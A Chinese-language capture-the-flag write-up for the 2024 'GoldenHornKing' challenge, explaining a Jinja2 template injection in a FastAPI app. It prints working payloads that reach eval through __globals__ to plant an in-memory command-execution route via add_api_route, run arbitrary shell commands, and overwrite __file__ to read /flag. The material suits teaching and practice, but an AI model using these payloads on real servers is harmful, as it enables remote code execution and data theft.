SSTI-GoldenHornKing

题目:[巅峰极客 2024]GoldenHornKing

题目源码:

import os  # 导入操作系统相关的模块
import jinja2  # 导入 Jinja2 模板引擎模块
import functools  # 导入工具函数模块,提供高阶函数
import uvicorn  # 导入 Uvicorn,用于运行 ASGI 应用
from fastapi import FastAPI  # 从 FastAPI 库中导入 FastAPI 类,用于创建应用
from fastapi.templating import Jinja2Templates  # 从 FastAPI 导入 Jinja2Templates,用于模板渲染
from anyio import fail_after, sleep  # 从 anyio 库中导入 fail_after 用于设置超时,以及 sleep 用于异步睡眠

# 指定所使用的库的版本:
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0

def timeout_after(timeout: int = 1):  # 定义一个超时装饰器,默认超时时间为1秒
    def decorator(func):  # 接收一个函数作为参数
        @functools.wraps(func)  # 保留被装饰函数的元信息
        async def wrapper(*args, **kwargs):  # 定义一个异步包装函数
            with fail_after(timeout):  # 在指定的超时时间内执行被装饰的函数
                return await func(*args, **kwargs)  # 等待并返回被装饰函数的执行结果
        return wrapper  # 返回包装函数

    return decorator  # 返回装饰器函数

app = FastAPI()  # 创建一个 FastAPI 应用实例
access = False  # 定义一个全局变量,用于控制访问权限

_base_path = os.path.dirname(os.path.abspath(__file__))  # 获取当前文件的绝对路径,并提取其目录路径
t = Jinja2Templates(directory=_base_path)  # 创建一个 Jinja2Templates 实例,指定模板文件的目录

@app.get("/")  # 定义一个处理根路径的 GET 请求的路由
@timeout_after(1)  # 使用超时装饰器,设置超时时间为1秒
async def index():  # 定义异步处理函数
    return open(__file__, 'r').read()  # 打开当前文件并读取其内容,作为响应返回

@app.get("/calc")  # 定义一个处理 /calc 路径的 GET 请求的路由
@timeout_after(1)  # 使用超时装饰器,设置超时时间为1秒
async def ssti(calc_req: str):  # 定义异步处理函数,接收一个字符串参数 calc_req
    global access  # 声明使用全局变量 access
    if (any(char.isdigit() for char in calc_req)) or ("%\" in calc_req) or not calc_req.isascii() or access:
        # 检查 calc_req 中是否包含数字字符,或者包含字符 '%',或者是否全为 ASCII 字符,或者 access 为 True
        return "bad char"  # 如果满足上述任意条件,返回 "bad char"
    else:
        jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
        # 使用 Jinja2 模板引擎渲染 calc_req 表达式,传递 app 对象作为上下文
        access = True  # 设置 access 为 True,限制进一步访问
    return "fight"  # 返回 "fight"

if __name__ == "__main__":  # 判断是否为主程序入口
    uvicorn.run(app, host="0.0.0.0", port=8000)  # 使用 Uvicorn 运行应用,监听所有网络接口的8000端口

是一个jinja2的SSTI,限制是不能包含数字字符,或者包含字符 '%',或者是全为 ASCII 字符,或者 access 为 True

同时,只要一次access 为 True后便无法再次输入,得重启环境

方法1:直接访问/shell路由

app.add_url_rule('/flag',lambda:__import__('os').popen('cat /flag').read())

转为SSTIpayload应该如下,由于是FastAPI,add_url_rule换成add_api_route。同时绕过了题目限制,通过lambda匿名函数返回期望的值,通过匿名函数参数实现控制执行的命令

{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag', lambda:__import__('os').popen('cat /flag').read())")}}

payload:

/calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag',lambda:__import__('os').popen('cat /flag').read())")

访问http://xxx/flag路由读取flag

方法2:打内存马进行rce

打FastAPI内存马,在FastAPI类有一个add_api_route方法,我们可以通过这个方法来增加一个路由,进行rce

app.add_api_route('/shell', lambda: __import__('os').popen('whoami').read())

我们需要再eval里重新获取一遍app也就是FastAPI的对象。

__import__('sys').modules['__main__'].__dict__['app']
  1. sys.modules:sys 模块中有一个名为 modules 的字典,它维护了所有已导入模块的当前状态。这个字典的键是模块的名称,而值是对应的模块对象。
  2. modules['__main__']:__main__是运行 Python 程序的主模块,无论是直接从命令行运行的脚本,还是通过某个执行环境运行的代码。通过 sys.modules['__main__'],我们获取到了当前执行程序的主模块对象。
  3. __dict__:每个模块对象都有一个__dict__属性,它是一个字典,包含了模块内定义的所有全局变量和函数。
  4. ['app']:最后,从模块的__dict__ 中获取名为 app 的对象。

然后整合以下payload:

app.__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/shell', lambda :__import__('os').popen('cat /flag').read())")

现在访问/shell就可以拿到flag了

或者:

需要获取到eval或者exec,也就是获取到__globals__['__builtins__']['eval'],获取__globals__的方法很多,这里使用源码中引入的sleep,构造好的payload如下:

sleep.__init__.__globals__["__builtins__"]["eval"]("__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())")
##访问http://xxx/cmd?cmd=cat /flag

##这里把sleep换成app也行,app在题目的源码中也定义了
##

__globals__ 为什么这么重要?

这才是这段代码的核心目的。

__globals__:它保存了当前文件(模块)里所有的全局变量。

['__builtins__']:在__globals__ 里,有一个特殊的键叫 __builtins__。它包含了 Python 所有的内置函数(比如 eval , exec , open , import 等)。

攻击链条逻辑:

起点:题目引入了 sleep 函数(这是一个已知的、可用的东西)。

跳跃 1:通过 sleep.__init__.__globals__(或者更直接的 sleep.__globals__)拿到全局环境。

跳跃 2:在全局环境里找到 __builtins__(内置函数库)。

跳跃 3:从内置函数库里拿到 eval 或 exec (这两个是终极武器,可以执行任意代码)。

方法3:修改__file__进行任意文件读取p

@app.get("/")
@timeout_after(1)
async def index():
    return open(__file__).read()

在跟路由读取了当前代码文件内容,并输出到网页上。那么如果我们能修改__file__为/flag那么访问根路由就能拿到flag了。

__file__在全局变量globals里有

setattr(__import__('sys').modules['__main__'],'__file__','/flag')

使用setattr(object, name, value)方法修改对象的属性值。

object -- 对象。 name -- 字符串,对象属性。 value -- 属性值。

Q:为什么不用__import__('sys').modules['__main__'].__dict____file__明明在这里面啊?

A:因为setattr函数的第一个值是一个对象,__dict____main__的一个属性,并不是一个对象。

整合一下payload:

app.__init__.__globals__.__builtins__.eval("setattr(__import__('sys').modules['__main__'],'__file__','/flag')")

注:有时候可以直接尝试{{system('ls')}}

from flask import Flask, render_template_string
import os

app = Flask(__name__)

@app.route('/')
def index():
    # 出题人故意(或失误)将 system 函数传给了模板
    # 这里的 system='os.system' 相当于在模板里定义了一个叫 system 的变量
    return render_template_string("Hello! {{ system('whoami') }}", system=os.system)

此时,模板里的 {{ system(...) }} 就等同于在后端执行 os.system(...)

posted @ 2026-06-18 13:16  Doll_Marker  阅读(16)  评论(0)    收藏  举报